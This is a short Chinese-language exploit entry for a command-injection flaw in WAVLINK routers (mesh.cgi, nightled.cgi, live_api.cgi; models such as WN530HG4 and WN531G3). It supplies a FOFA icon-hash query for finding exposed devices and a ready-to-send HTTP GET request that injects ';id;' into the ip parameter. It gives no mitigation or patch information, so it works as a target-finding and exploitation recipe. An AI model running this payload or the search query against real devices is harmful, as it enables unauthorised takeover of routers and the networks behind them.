

W8-3Wavlink-路由器-RCE

漏洞描述:

WAVLINK路由器mesh.cgi、nightled.cgi、live-api.cgi等接口处存在[命令执行漏洞](#)，攻击者可通过该漏洞获取服务器权限。包含型号WN530HG4、WN531G3、WN572HG3、WN535G3、WN575A4等。

网站图片:



网络测绘:

fofa语法:

FOFA: icon_hash="1350437236"

漏洞复现:

payload:

```
GET /cgi-bin/live_api.cgi?page=abc&id=173&ip=;id; HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
```

效果图:

